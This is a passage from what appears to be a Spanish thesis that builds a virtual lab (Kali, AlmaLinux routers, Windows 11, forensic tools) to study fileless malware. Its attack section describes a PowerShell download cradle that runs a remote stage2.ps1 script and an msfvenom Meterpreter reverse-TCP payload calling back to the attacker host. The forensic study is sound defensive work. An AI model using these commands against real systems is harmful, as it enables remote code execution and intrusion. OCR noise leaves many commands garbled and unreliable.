dejando las configuraciones por defecto como se observa en la Figura 9

Figura 9

Proceso de instalacion Windows

g

< . _ -

Organizar archivos sin complicaciones

Arrastra y coloca =

Actualizacién en curso, esto llevara un tiempo. Mantenga el PC encendido y conectado.

Paso 1 de 3: Descargando: 26 %

3.2.4. KALILINUX

Para instalar Kali Linux, se descarga el archivo ISO desde la pagina oficial de KALI,
la pagina oficial se observa en la Figura 10.

Figura 10

Pagina de Kali Linux para la descarga del archivo I1SO

Kali Linux 2025.2 Changelog



https://www.kali.org/get-kali/#kali-installer-images
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Figura 11.

Seleccion de Imagen ISO de Kali Linux en VMware Workstation

WORKSTATION PRO 17

Guest Operating System Installation » ) Kali-APT
A virtual machine is like a physical computer; it needs an operating
system. How will you install the quest aperating System?

Install from:

No drives available

(@) Installer disc image fite (iso):

C:\Users\kevin'| Desktop|LABORAT ORIO-APT | Kali-A4FT

/b Could not detect which operating system is in this disc image.
ou will need to specify which operating system will be instailed,

()1 will install the cperating system later.

The virtus! machine will be created with a blank hard disk.

Mombre de archivo:

Para la instalacion, se crea una nueva maquina virtual, seleccionamos el archivo ISO
descargado como se observa en la Figura 11, posterior a la seleccion se realizan las
configuraciones de las caracteristicas de la maquina virtual, la configuracion se observa en la
Figura 12, se define una memora RAM de 8 GB por concepto de instalacion, una vez
finalizada se actualizara la configuracion a 4 GB y en el disco duro se asigna un total de 60

GB.

Figura 12

Configuracion de la maquina virtual Kali Linux

Hardware Options

Device status

Device Summary
[E=5] Memory 8 GB Connected
EEEPVUCESSUT’S 4 Connect at power on
L\ Hard Disk (SCSI) 60 GB
(=) CD/DVD (SATA) Using file Cr\Usershkevin\Des... Network connection
5 Metwork Adapter Customn (VMnetd) () Bridged: Connected directly to the physical network
[=] use Controller Present Replicate physical network connection state
" Sound Card Auto detect
[Ipisplay Auto detect (_JMAT: Used to share the host's TP address
() Host-onlv: A nrivate network sharad with the host

Para el proceso de instalacion hacemos uso del método grafico, una de las opciones



Analisis forense de malware fileless en un ataque APT

24

presentadas en el menu de inicio como se observa en la Figura 13, posterior a la seleccion se

iran agregando los pardmetros correspondientes para culminar el proceso. Para las

configuraciones de los equipos Routers se agregara una interfaz NAT para acceso remoto para

acceso ssh desde Kali, posterior a las configuraciones se eliminard y se configura una ip fija

en la maquina Kali.

Figura 13

Metodologia de instalacion Kali Linux

Rali Linux installer menu

Graphical install
Install

Advanced options
Accessible dack contrast
InstaldEOEFEHESHEeCH sSpnthesis

Figura 14

Configuracion de idioma y region en Kali Linux
Select a language

Choose the language to be used for the installation process. The selected language will also be the default
language for the installed system.

Language:

e L -
Sinhala - Bome
Slovak - Slovendina
Slovenian - Slovenidina
Swedish - Svenska

Seleccione su ubicacion

La ubicacién seleccionada aqui se utilizars para fijar su zona horaria y también como ejemplo para ayudarle a
seleccionar la localizacion de su sistema. Esta localizacion sera habitualmente el pais donde vd. vive.

Esta es una lista reducida de ubicaciones basada en el idioma que ha seleccionado. Escoja <otro- si su
ubicacion no esta en la lista.

Pais, territorio o drea:
Chile

Colombia

Costa Rica

Cuba

.

inmstaller menu

(BIOS mode)

| KALI |

Configure el teclado

Mapa de teclado a usar:
Canarés

Kazajo

Jemer

Kirghizo

Coreano

Kurdo (variante F)
Kurdo (variante Q)
Laosiano

Leton

Lituano
Macedonio
Malayalamo
Nepalés

Seleccionamos el lenguaje espafiol, como region Ecuador y establecemos el teclado

como latinoamericano, las configuraciones realizadas se observan en la Figura 14. Posterior a

ello agregamos un nombre y una contrasefia a la maquina seguido de la zona horaria.
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Figura 15

Particion de Discos en Kali Linux

| KALI I

Este es un resumen de las particiones y puntos de montaje gque tiene configurados actualmente. Seleccione una particion
para modificar sus valores (sistema de ficheros, puntos de montaje, etc.), el espacio libre para afiadir una particion nueva
o un dispositivo para inicializar la tabla de particiones.

Particionado de discos

Particionado guiado

Configurar RAID por software

Configurar el Gestor de Volumenes Lagicos (LWVM)
Configurar los volimenes cifrados

Configurar los volumenes iSCSI

=~ SCSI133 {0,0,0) (sda) - 64.4 GB VMware, VMware Virtual s

= #1 primaria 22.7 GB f extd r

= #5 légica 9.2 GB f extd fvar

= #6 légica 499.1 MB f intercambio intercambio
== #7 logica 499.1 MB f extd ftmp

= #8 Iégica 31.6 GB f extd fhome

Deshacer los cambios realizados a las particiones

Finalizar el particionado y escribir los cambios en el disco

| ‘Capturar la pantalla | | Ayuda Retroceder | [ Continuar ]

Figura 16

Interfaz de Kali Linux

T pe .

N

SisEMa de

Para la particion del disco se hace uso del proceso guiado que se observa en la Figura

15 y una vez que finaliza el proceso de instalacion se abre la interfaz de Kali Linux que se
muestra en la Figura 16.
3.2.5. ROUTER A

Para la instalacion del equipo router se hace uso de la distribucion Linux ALMA
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LINUX que se puede observar en el sitio Oficial. Para acceder al repositorio de archivos ISO
se hace uso del siguiente Link y se descarga el archivo sefialado que se observa en la Figura

17.

Figura 17

Archivo ISO de distribucion ALMA LINUX

Index of /almalinux/10/isos/x86_ 64/

wad

Almalinux-18-latest-x86 64-boot.is 25-May-20825 @7:39 855258944
Almalinux-18-latest-x86 64-dvd.iso 25-May-2025 @7:409 7322140672
Almal inux-18-latest-x86_ G64-minimal.iso 25-May-2825 @7:49 1397358592
Almal inux-18.8-x86_64-boot.iso 25-May-2025 87:39 8552580944
Almal inux-18.8-x86_64-boot.iso.manifest 25-May-2025 @7:39 18118
Almal inux-18.8-x86_64-dvd.iso 25-May-2825 87:40 7322148672
Almal inux-18_8-x86 b64d-dvd_dso _manifest 25-May-2025 ©7:40 343616
Almal inux-10.8-x86 _64-minimal.iso 25-May-2025 ©7:49 1397358592
Almalinux—10. 0 xJ6 b = = 25-May-2025 07:39 57812
Almal inux-18.8-x86_64.torrent 27-May-2025 11:29 183375
CHECKSUM 25-May-2025 @7:41 1866

Figura 18

Seleccion de Imagen ISO de Alma Linux en VMware Workstation

Install from:

No drives avaiiable

@) Installer disc image file (im0):
Cr\Umers) kevin | Desktop, LABORAT QRID- AFT

11 Windows 11 =64 detected,

31 will install the aperating system later.

The virtual maching will be created with o blank hard disk,

Para la instalacion, se crea una nueva maquina virtual, seleccionamos el archivo ISO
descargado como se observa en la Figura 18, posterior a la seleccion se realizan las
configuraciones de las caracteristicas de la maquina virtual, la configuracion se observa en la
Figura 19, se define una memora RAM de 8 GB por concepto de instalacion, una vez
finalizada se actualizara la configuracién a 512 MB y en el disco duro se asigna un total de 20

GB.


https://www.stackscale.com/es/blog/distribuciones-linux-populares/#Red_Hat_Enterprise_Linux_RHEL
https://raw.repo.almalinux.org/almalinux/10/isos/x86_64/
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Figura 19

Configuracion de Router 1

The virtual machine will be created with the following settings:

MName: Fouter_1
Location: ChUsers\kevin\Documents\Wirtual Machines\Router_1
Version: Workstation 17.5 or later

Operating System: AlmaLinux 64-bit

Hard Disk: 20 GB, Split

Memory: 8192 MB

Metwork Adapter: NAT

Other Devices: 4 CPU cores, CO/DVD

Se selecciona el idioma espafiol y el pais, por defecto el teclado ya esta configurado en
latinoamericano, la configuracion se observa en la Figura 20.

Figura 20

Configuracion de idioma y region en Alma Linux

S e s .
Espafiol Spanish Espafiol (Paraguay)

duall Arabit Espariol (Puerto Rico)
English Espariol (Peru)
Frangals Espaniol (Panama)
Deutsch Espaniol (Nicaragua)

Espafiol (México)
B*:E _

Espafiol (Honduras)
X Espafiol (Guatemala)
Pycckuit Espafiol (Ecuador)
Afrikaans Espafiol (Republica Dominicana)
aowry Arnbhriris Eemafal (Cokal

Después se agrega un nombre y contrasefia de la maquina como se observa en la
Figura 21 en este caso el nombre asignado es routerl.

Figura 21
Nombre de la maquina Alma Linux

CREAR USUARIO

Hecho

Nombre complete  router?

Nombre de usuario router]
Anadir privilegios administrative a esta cuenta de usuario (membresia al grupo wheel)
a Se requiere una contrasena para usar esta cuenta
Contrasefia router1 i

Débil

Confirmar la contrasefia E router1 .

Avanzado..,
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Para prueba de concepto se hace uso de un disco de 20 Gigas, para se particiono el
disco como se observa en la Figura 22, el mismo que asegura un funcionamiento adecuado.
Una vez finalizada las configuraciones se instala la maquina virtual, al finalizar el proceso se
reinicia la maquina y se abre el terminal.

Figura 22

Particion de Disco en Alma Linux

~ Nueva instalacién AlmaLinux 10.0 nvmeOnip1
fhome 4GIB Dispositivo(s):
almalious-home VMware Virtual NVMe Disk (mvmeoni}
Modific
Capacidad deseada: sietesls Bl
! 8GiB 1024 Kis
almalinwe-root
fvar 2 GiB
almalioux-var Tipo de dispositivo:
fboot 512 MIB Particién estandar - Cifrar
rvmeonip2
Sistema de archivos
swap 1024 MiB
almalimux-swap BIOS Boot -
) | (F
ESPACIO DISPONIBLE ESPACIO TOTAL
4,49 GiB 20 GiB
1 de almacenamiento seleccionado Descartar rodos los cambios

Una vez finalizado el proceso, se debe verificar que la maquina tenga conexion a
internet y se debe verificar que el equipo que hace la funcion de Router y la maquina Kali
Linux deben estar en la misma red, para ello una de las tarjetas asignadas a cada maquina se
deja en modo NAT, tal y como se observa en la Figura 23.

Figura 23

Asignacion de Tarjetas virtuales a Kali Linux y Router 1

| Hardwnre gpbens Herdware Options.

€068
¢

W
ming Fle C:\Umersikev Des Hoteark cosnacnen

s

Custom (Vinets Bridges: Connected directly to the phryscsl network Srviged: Connected drectly to fhe physcal network

MAT: Used 10 shavs the hast's IP padress WAT: Uised t shar the host's IP pdress
o etk shared v he host Hoat-only: A priike rstwork sharsd wilh e heat
W Custorm: Spechc wirtusl network i Custorn: Spechic wrtusl network
L LN | oames sy ] Viers (NAT)
LAk segment ROUTER 1 AN segment
LA Sagments_ | Advanced. LAN Segments. | Advanced..

Al finalizar las configuraciones de las tarjetas de red se actualiza el sistema y se instala

el repositorio EPEL junto con herramientas de edicion, diagndstico de red y el software FRR
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para enrutamiento dindmico, todo de manera automatizada. El comando utilizado se observa
en la Figura 24.

Figura 24

Instalacion de herramientas para el equipo Router

[root@localhost 18 dnf update -y && dnf install epel-release wano net-tools frr -y_

Figura 25

Redes locales con la herramienta ARP-SCAN

kali@hali: ~

Archivo Acciones Editar Vista Ayuda

En este caso en Kali Linux se puede observar que la direccion IP asignada por la red
virtual red virtual en modo NAT corresponde a la interfaz ethQ, en la Figura 25 se observa
que se hace uso de la herramienta arp-scan para verificar la direccion IP asignada al equipo
Router, una vez identificada se realizard una conexion SSH para configurar la direccion IP
que va en la RED A de la Topologia establecida que se observa en la Figura 1.

Figura 26

Conexion SSH desde Kali a Router 1

A = routerl®l192.168.183.132

Lsudo| contrasena para kali:

The authenticity of host "192.168.183.132 (192.168.183.132)" can't be establis
hed.

ED25519 key fingerprint is SHA256:Zh3UrhEeOI7VWTJ3acY84mgJl510T/bb68bNggjcec3g.
Thic (/o\’; i< not et ial h\.l '\n\‘r othory naomoc

Are you sure you want to continue connecting (yes/no/[fingerprint])? Y

FlLedse Lype yes |, no O wne f;nsclpx;nL; yes

Warning: Permanently added "192.168.183.132°' (ED25519) to the list of known ho
sts.

router1®192.168.183.132"s password:

Last login: Sat Sep 27 17:02:43 2025

lronteriamlocal host ~1%

[routerl@localhost ~1%

Para la conexion remota si inserta el comando que se observa en la Figura 26,
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posterior a ello se establece una relacion de confianza y ya se establece conexion, en la misma
Figura se observa el prompt del equipo Router.

Figura 27

Interfaz del Router 1 para la REDA A

ineté /64 scope link noprefixroute
valid_1ft forever preferred_1ft forever

3: z <BROADCAST ,MULTICAST,UP,LOWER_UP> mtu 1500 gdisc mq state
up default glen 1000

link/ether ©0:09c:29:2b:47:98 brd ff:ff:Fff:Ff:=FF:FF

altname enpl9s0

altname enx@00®c292b4798
42 <BROADCAST ,MULTICAST ,UP,LOWER_UP> mtu 1500 gdisc mg state
up default glen 1000

1link/ether ©00:09c:29:2b:47:a2 brd ff:ff:fFff:FFf:FF:+FF

altname enp27s0

altname enx@0Oc292b47a2
[root@localhost routerl ¥ ip route show
default wvia dev proto dhcp src metric
100

dev proto kernel scope link e met

ric 100
[root@localhost routerl B nmcli device status
DEVICE TYPE STATE CONNECTION

[root@localhost routerik

En la Figura 27 se observan dos interfaces desconectadas, el ens224 esta asociada a la
RED A, su direccion estatica sera 30.30.30.2/24, para la configuracion se hace uso de la
herramienta nmtui, y se asigna la direccion, la configuracion realizada se observa en la
Figura 28. La interfaz ens226 esta asociada a la RED B por lo tanto la direccion estatica sera
10.10.10.2/30, la configuracion se observa la Figura 29

Figura 28

Configuracion IP de la interfaz 1 en Router 1

| Edit Connection |

Profile name [[pEg=lsBelslslil=Ieamis]iMn1
G- W=ns224 (@@:@C:29:2B:47:98)

ETHERNET <Show>
802.1X SECURITY <Show>

IPv4 CONFIGURATION <Manual> Hide>
Addresses E{RETIIC]) By <Remove>

Gateway
DN5 servers N <Remove>

Search domains <Add ... >
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Figura 29

Configuracion IP de la interfaz 2 en Router 1

Profile name
STl ns256 (AR:QC:29:2B:47:142)

= ETHERMNET <Show>
802.1X SECURITY <Show>

IPv4 CONFIGURATION <Manual> <Hide>
Addresses LA PTEL) <Remove>

Gateway
DNS servers [=i:ie <Remove>

Search domains <Add ... >

Posterior a la configuracion se debe activar la interfaz en la consola, en el caso de que
no se active se lo puede activar de forma manual, con el comando que se sefiala en la Figura
30, posterior a ello se observa cada interfaz activa.

Figura 30

Activacion de las Interfaces en el Router 1

[routerl@mlocalhost ~]1% sudo nmcli con up "Wired connection 1"
[sudo] password for rout :
i cessfully ivated (D-Bus a
BEE
~1% nmcli con show
UUID TYPE DEVICE

sudo nmcli con up
¢ activated (D-Bus at

[routerl@l on show
NAME UUID TYPE DEVICE

[routerl@localhost ~1% ipconfig
Por defecto, Linux no reenvia paquetes entre interfaces, cada interfaz actua de forma

independiente. Al activar el IP forwarding el kernel se comporta como un router y pasa
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paquetes de una interfaz a otra segun la tabla de enrutamiento, para levantar este servicio lo
configuramos de manera permanente creando un archivo como se observa en la Figura 31

Figura 31

Activacion de IP Forwarding en el Router |

[rootalocalhost routerlh echo “net.ipv4.ip_forward = 1" | tee /etc/sysctl.d/99-ipforward.conf

ﬂt‘t ipv4.ip_forward = 1

PR Iy SENPR, il Py DRIyt o, o M
LL...;L..,.L._.-_U_..._JL POULSTa

Posterior a ello enmascaramos el equipo Router con la red que sale a internet la
configuracion se observa en la Figura 32 y finalmente se aplico los comandos que guardan e
inician las configuraciones realizadas cuando se apaga el equipo Router, la configuracion se
observa en la Figura 33.

Figura 32

Red Enmascarada

&Y%
[loutexlalocalhoot ~1% cat /pxoc/sys/net/lpva/lp forward

[routerla)localhost ~1%$ cat /etc/nftables.conf
table ip nat {
chain prerouting {
type nat hook prerouting priority 0;
}

chain postrouting {
type nat hook postrouting priority 100;
oif "ens224" masquerade

}
}
[routeri@localhost ~]$ |}

Figura 33

Configuraciones Guardadas

[routerl@localhost
sudo systemctl start

[sudo] password for
[routerl@mlocalhost ~]!
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3.2.6. ROUTERB

Para la configuracion del equipo Router se aprovecha las configuraciones realizadas
en el equipo A, se realiza un clon con ajustes en la direccion IP y en las tarjetas respectivas,
para las configuraciones se sigue el mismo proceso explicadas en las Figura 28, Figura 29y
Figura 30. En la se observan las configuraciones de la RED A y la RED B.

Para clonar el equipo se siguen los pasos descritos en la Figura 34, en este caso el
clone llevara el nombre de Router 2, se elimina la carpeta con extension .vmx.Ick ubicado en
la carpeta de la maquina virtual, de igual forma se cambia el usuario secundario a router2 y
contrasefia router2.

Figura 34

Clone para equipo Router 2

Close Tab

Mark as Favorite
Rename...

Open VM directory
Remove

~ Devices

Mem

Powwer

Removable Devices
Pause

Send Citri+Alt+ De

Grab Input

Custom (RED A

Custom (RED B)

SSH
Snapshot

Auto detect

Capture Screen

Manage

Install Vidware T
nsta are o=

Settings... Upload...

Download...

Delete from Disk
Permissions...
WNC Connections

Message Log

Figura 35

Configuraciones del ROUTER 2

router2@router2:~ = routeri@routeri:~ H kali@kali: ~

[router2@router2 ~1% ifconfig
ens224: flags=4163<UP.BROADCAST, RUNNING,MULTICAST> mtu 1500
inet 10.10.10.3 netmask 255.255.255.0 broadcast 10.10.10.255
inet6 fe80@:: c9c8:f3a5:b93c:9c9e prefixlen 64 scopeid 0x20<link>
ether 90:0©c:29:23:99:f0 txqueuelen 1000 (Ethernet)
packets 453 bytes 48979 (47.8 KiB)
errors © dropped © overruns © frame ©
packets 498 bytes 52293 (51.0 KiB)
errors © dropped © overruns 0 carrier © collisions ©

flags=4163<UP.BROADCAST , RUNNING,MULTICAST> mtu 1500

inet 40.40.40.3 netmask 255.255.255.0 broadcast 40.40.40.255
1neto tesVv::alav:6695:40bb:cc69 prefixlen 64 scopeid ©x20<link>
ether 00:0c:29:23:99:fa txqueuelen 1000 (Ethernet)

= o~ = = = o) o O
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3.2.7. EQUIPO KALI LINUX Y WINDOWS 11
Una vez finalizada las configuraciones de los equipos, de acuerdo a la Topologia se
configura la direccion IP 30.30.30.10 en el equipo Kali Linux como se observa en la Figura

36, después de asignar la direccion se activa la interfaz.

Figura 36

Configuracion IP en KALI LINUX

kali@kali: ~
Vista Ayuda

Archivo Acciones Editar

Editar la conexion |

Conexion cableada 2
ethl (00:0C:29:88:92:AF)

Nombre de perfil
Dispositivo

ETHERNET
802.1X SECURITY

= CONFIGURACION 1PV4 <Manual> <Qcultar>
Direcciones <Retirar>
<Anadir..>
Puerta de enlace EfNe{Ie]/is]
Servidores DNS PP | <Retirar>
<Anadir..>
Bisqueda de dominios <Anadir..>
Enruatandn (Nn hav riita<s nercennalizadac) (Erhfar >

Figura 37
Configuracion IP en WINDOWS 11

il Conesionee =
i &P <« Redes e Internet » Conexiones de red @) Buscar en Conexiones de red O =
; . —
|
[ ———

Organizar -

Deshabilitar este dispositivo de red Disgnosticar esta conexién  » o o

1 elemento | elemento seleccionado

[ Estado de Ethernet{ [ Propiedades de Ethernetc Propiedades de Protocolo de Internet versién 4 (TCP/1Pv4) >
General Funciones de red General .
- - | Cieitn Pusde hacer que la configuradén TP se asgne automabcaments si la
AEICI0R 5 red es compatible con esta funcionalidad. De lo contrario, deberd
1 Conectividad TPva: P intel(R) 825741 Gigabit Network Connection consultar con el administrador de red cudl es la configuracidén TP
da.
Conectividad TPv6: =adny
it del medion Cond ) Obtener una direccidn 1P automaticamente
s Esta conexién usa los siguientes elementos: (© Usar la siguiente direcsén IP:
Veloodad: ] ESCliente para redes Microsoft Direccén IP: 40 . 40 . 40 . 10
] B Uso compartido de archivos e impresoras para t =
Detalles.... Ll o . ok Mascara de subred: 255 . 255 .255 . O
¥| _s Protocolo de Intemet versidn 4 (TCP/IPv4) Puerta de enlace predeterminada: 40 .40 .40 . 2
=g ooole g2 mu o 0= adapladar —
il =) Controlador de protocolo LLOP de Microsoft
Actividad - — & P Obtener la direcodn del servidor DNS autos mente
W _y Protocolo de Intemet versssn & (TCP/1PvE) o - e T ) o
o © Usar las siguientes direcciones de servidor DN:
2 e = Servidor DNS preferido: s .8 8 .8
B Descripcidn Servidor DNS alternativo: i =
Protocolo TCP/IP. B protocolo de red de area extens
B P i que permite la comunicacion entre va
[ = Propiedades I | tadei conechiidis sl [ vaidar configuracién al salir Opciones avanzadas. ..
| Aceptar Cancelar
Aceptar

Posterior a ello se configura la direccion IP en Windows 11, siguiendo los pasos que

indica la Figura 37 en este caso la maquina tendra la direccion 40.40.40.10.



Analisis forense de malware fileless en un ataque APT 35

3.2.8.  SERVIDOR

Figura 38

Servidor

Create a New Open a Virtual Connect to a
Virtual Machine Machine Remote Server

Ready to Create Virtual Machine B Debian-Server 3 +
Click Finish to create the virtual machine and start installing Debian 12.x
64-hit. A~ C ‘g Iniciar respaldo >

The virtual machine will be created with the following settings:

Name: Servidor \.(-'-;l Nuevo

Location: C:\Users\kevin\Documents\Virtual Machines\Servidor
Version: Workstation 17.5 or |ater

MNombre
Operating System: Debian 12.x 64-bit ﬁ Inicio

e e B debian-12.11.0-amd64-netinst
Hard Disk: 20 GB, Split &' Galeria

Memory: 8192 MB
Network Adapter: Custom (VMnets)
Other Devices: 2 CPU cores, CD/DVD, USB Controller

Para la instalacion, se crea una nueva maquina virtual, seleccionamos el archivo ISO
descargado como se observa en la Figura 38 posterior a la seleccion se realizan las
configuraciones de las caracteristicas de la maquina virtual, para la configuracion se define
una memora RAM de 8 GB por concepto de instalacion, una vez finalizada se actualizara la
configuracién a 512 MB y en el disco duro se asigna un total de 20 GB.

Se configura el nombre de la maquina como root y la contrasena de la clave de
superusuario como toor, el nombre del usuario y contrasefia como servidor.

Figura 39
Particion del disco en el servidor

SCSI33 (8,8,8) (sda) - 21.5 GBE YMware, YMuware Yirtual 5

#1 primaria 8.8 GB f extd e

#5 logica 51a.7 HMB f extd sboot

#6 logica 4.8 GB f extd Ahome

#7 logica 51a.7 HB f intercambio intercambio
#8 logica 5.4 GB f extd Auar

Para la instalacion se particiona el disco siguiendo la guia manual, la configuracion se
observa en la Figura 39. Se selecciona la réplica debian por motivos de instalacion en India,
se finaliza la instalacion, seguimos la asignacion de direcciones IP como se muestra en la

configuracion de los Routers.
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3.3. Enrutamiento del escenario
Finalmente se configura el enrutamiento en el escenario, como prueba de concepto se
agregan rutas a cada red desde cada router. Las configuraciones se observan en las Figura 40,
Figura 41 y Figura 42. Posterior a las pruebas todo el escenario tiene enrutamiento.

Figura 40
Configuracion de ruta en Router 2

red connection 1" +ipvé4.routes

connection modify

~H nmcli connection up "Wired connection 1-
Vo ated (D-Bus active path: forg/freedesktop/Netwo

Figura 41

Configuracion de ruta en Router 1

[root@routerl
2" +ipv4.routes
i18.1@.
[root ter ~H nmcli connection up "Wired connection 2~
Connecti 5 \ iva (D-Bus active path: forg/freedesktop/Netwo
’ onnection/5)

~F I

Figura 42

Ruta por defecto en Router 2

[root@router?2 ~H nmcli connection modify red connection 1° ipv4.gateway
18.1@.1¢
[root@router2 ~H nmcli connection modify

Wired connection 1° ipv4.method m

anual
[root@router2 ~H nmcli connection up "Wired connection 1°
Connection successfully a ated (D-Bus active path: /org reedesktop/Netwo

rkManager/ActiveConnection/4)

3.4. Instalacion de herramientas forense
La instalacion de herramientas forenses se instala en la maquina comprometida, en
este caso en Windows 11.
3.4.1. FTK Imager
El archivo se descarga de la pagina oficial mostrado en el Apéndice A1l

Volatility 3, para completar la descarga se debe llenar el formulario y el proceso de descarga
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se inicia automaticamente, al finalizar se ejecuta el archivo como administrador y se sigue el

proceso de instalacion. La interfaz del programa se observa en la Figura 43,

Figura 43
FTK Imager
BN Exterro FTK Imager 4.7.3.81 — (] b4
Eile View Mode Help
2SS = ! k-1
Evidence Tree »¢ | File List 'S
Mame Size Type

Custom Content Sources

Evidence:File System |Path|File Options
MNew E Remove Remove All Create Image
Custom Conte...

For User Guide, press F1

3.4.2. Volatility 3

Figura 44

Volatility 3

| EN Administrador: Windows PowerShell — (m} >

select-string wi

or Windows Command His

Previa instalacion de Volatility 3 se debe instalar Python version 3.12 por temas de

compatibilidad, para el proceso de instalacion se debe seguir los pasos que se encuentra en
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GitHub adjuntados en el Apéndice Al
Volatility 3, al finalizar se ejecuta el comando que se observa en la Figura 44 para observar
los pluggins disponibles.

3.4.3. Autopsy

Figura 45

Autopsy

videos [l Communications P Geolocation ==, Time === <> - Keyword Lists - Ke

Open Recent Case

Open Case

Autopsy®

OPEN | EXTENSIBLE | FAST Close

El archivo de instalacion se lo obtiene de la pagina oficial de Autopsy mostrada en el
Apéndice A2
Instalacion de Autopsy, al ejecutar el archivo descargado se debe seguir los pasos de
instalacion, la interfaz del programa se observa en la Figura 45

3.4.4. RegRipper

Figura 46
RegRipper
#1 RegRipper, w.3.0 = O =
File Help
Hive File: | Browse
Report File: | Browse

MNOTE: This tool does MOT automatically process and incorporate Registry hive
transaction logs. The tool will check to see if the hive is dirty.

I you need to processincorporate transaction logs, please consider using
yvarp + registryFlush py {(Maxim Suhanov) or da exe (Erc Zimmerman).

Reggriper es una herramienta ejecutable, su archivo de descarga se observa en el

Apéndice A4, en dicho archivo se ejecuta el fichero rr.exe, la interfaz se observa en la Figura
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46.
3.5. Compromiso Inicial
3.5.1. PowerShell Download Cradle
En la primera fase levantamos un centro de comando y control haciendo uso de
Apache, en el servidor se almacenaran remotamente los payloads para evadir deteccion en
disco.
3.5.2.  Servidor Web
Como primer punto se enciende el servidor web, en este caso el servidor se encuentra
alojado en la direccién 30.30.30.10 que corresponde a Kali Linux, en la Figura 47 se observa
el servidor Apache 2, el comando utilizado se muestra en ¢l Apéndice E1.

Figura 47

Servidor Apache en Kali-Linux

Sec O¢ Kali Docs % Kali Forums & Kali NetHunter Exploit-DB Google Hacking DB

( ; ) [ ApacheZ|Debian Default Page

Ieali@haliz ~

Archivo Acciones Editar Vista Ayuda

This is the default w; =% Eerver after
installation on Debia HTTP server installed
at this site is workin: tmlysindex. html)
before continuing to

start apache2
If you are a normal [sudo] contrasefa para kali: E probably means
that the site is curre ease contact the
site's administrator.

Debian's Apache2 d puration, and split
into several files optimized for interaction with Debian tools. The configuration system is fully

- Carpeta de Payloads

Se crea un directorio haciendo uso del modo root, utilizando la funcion que evita
errores de creacion, para el propietario se asigna permisos de lectura, escritura y ejecucion,
para grupos u otros solo permisos de lectura y ejecucion utilizando el formato octal, en la

Figura 44 se observa el comando utilizado que se aloja en el Apéndice E2.
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Figura 48

Directorio de Apache

kali@kali: —

Archivo Acciones Editar Wista Ayuda

Después de crear el directorio, se utiliza un proceso por etapas (staging). La primera
etapa se hace uso de here-document (heredoc) que crea o sobrescribe el archivo stagel.psl
con el bloque de texto incluido entre EOF. Se utiliza la funcion sudo tee para elevar permisos
para escribir en el directorio creado.

El archivo resultante es un sript PowerShell que descarga otro script desde
http://30.30.30.10/payloads/stage2.ps1 y lo ejecuta con Invoke-Exxpression, el archivo
stage2.ps1 contiene un script PowerShell que realiza reconocimiento local y obtiene el
nombre del equipo, usuario, version del sistema operativo y la fecha/hora, estos datos se
imprimen en pantalla. A este proceso se conoce como PowerShell download cradle, permite
ejecutar coddigo remoto dinamicamente. El directorio con los dos archivos se observa en la
Figura 49 y el codigo utilizado se puede apreciar en el Apéndice E3 y Apéndice E4
respectivamente.

Figura 49

Creacion de archivos

O O localhost

OffSec KaliLinux & KaliTools = KaliDocs ™ Kali Forums e Kali NetHunter Exploit-DB Google Hacking

Index of /payloads

Name Last modified Size Description

¥ Parent Directory -
[@] stagel.psl 2025-11-02 20:24 663
[@) stage2.psl 2025-11-02 20:24 2.2K

Apache/2.4.63 (Debian) Server at localhost Port 80


http://30.30.30.10/payloads/stage2.ps1
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3.5.3. Evidencia Post-Compromiso
Para los fines de este experimento, se simul6 el compromiso inicial mediante la
ejecucion directa del script, emulando un escenario donde el atacante ya ha obtenido acceso
de ejecucion de codigo en el sistema, en la Figura 50 se observa la ejecucion del ataque, el
comando utilizado se observa en el Apéndice ES;Error! No se encuentra el origen de la
referencia.

Figura 50

Evidencia de Ejecucion PowerShell Download Cradle

En el proceso lo caracteristico del resultado es que se guarda temporalmente el

proceso, los archivos alojados en el servidor Apache no se almacenan en disco.
3.5.4. Volcado de memoria RAM post-compromiso
Al verificar que el ataque inicial es exitoso se realiza el volcado de memoria, para ello
se utiliza FTK Imager, el proceso se observa en la
Figura 51.
Figura 51

Volcado de memoria en FTK Imager (PowerShell Download Cradle)
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Evidence Tree

Custom Content Sources

- e
< e

Eile View Mode Help

o 6 S =] — == 2 .

File List

Name

Memory Progress

Evidence:File System [Path File

New

For User Guide, press F1

Custom Conte... |

= = C:\Users'kevin\memory_compromised.mem

Status: Dumping RAM: 753MB/7GE [10%]

C cancal. |

Size Type

2 Qx S e\ & o | ~ - 5 D e

A demas durante la ejecucion del ataque fileless, el servidor web en Kali Linux

registrd las conexiones realizadas que se observa en la Figura 52.

Figura 52

Logs de servidor Apache

Archivo Acciones Editar Vista Ayuda
kali@kali: ~ W root@router2:~ M kali@kall: ~ ¥

kali@kali: ~ W kali@kali: ~ W

kali@kali: ~

(X11;

3.6. Escalacion de Privilegios

3.6.1. Payload

Linux x8¢ rv: cko/20100101 Firefox/128.0"

Como prueba de concepto para escalar privilegios, se genera un payload con tamafio

de 3255 bytes y arquitectura x64 que se carga directamente en memoria, manteniendo el

caracter fileless, en la Figura 53 se puedo observar como se ejecuta el comando

correspondiente que se puede ver en el Apéndice E7.
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Figura 53

Payload para escalar privilegios

kali@kali: fvarfwww/html/payloads

Archivo Acciones Editar Vista Ayuda

— -[ /var/www /html/pavioads

H sudo f ) windows/x64/meterpreter/reverse_tcp LHOST=30.30.30.10 LPORT=4445 -f psh stage3.psl
[-] No plattorm was selected, choosing Mst ::Module::Plattorm::Windows trom the payload

[-]1 No arch selected, selecting arch: x64 from the payload

No encoder specified, outputting raw payload

Payload size: 510 bytes

Final size of psh file: 3255 bytes

Saved as: stage3.psl

—( -[ /var/wwi/html/payloads

total 12K

-rw-r—r— 1 root root 663 nov 2 20:24 stagel.psl
-rw-r—r— 1 root root 2,3K nov 2 20:24 stage2.psl

-rw-r—r— 1 root root 3,2K nov 22 11:32 stage3.psl

/var/vwmi/html/payloads

Para generar el payload se usa la herramienta msfvenom, el archivo resultante contiene
codigo PowerShell que establecerd una conexion reversa hacia la direccion IP 30.30.30.10
que corresponde a la maquina Kali Linux en el puerto 4445, siempre y cuando el archivo sea
ejecutado.

3.6.2. Comando PowerShell en Windows 11

Para este proceso de igual forma se hace uso de download cradle desde PowerShell
comprometido. En la Figura 54 se observa la ejecucion del archivo, el codigo utilizado se
puede ver en el Apéndice E6. La técnica fileless carga el payload directamente en memoria
RAM sin escribir archivos en disco.

Figura 54

Ejecucion de archivo PowerShell para escalar privilegios

[ EX Administrador: Windows PowerShell = (| x

Net.WebClient).DownloadString

El siguiente paso es configurar un médulo de recepcion (handler) en Metasploit

Framework. El handler actia como un servidor que esta esperando conexiones entrantes

desde un payload que ha sido ejecutado. En la Figura S5 se observa como se establece la
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comunicacion.

Figura 55

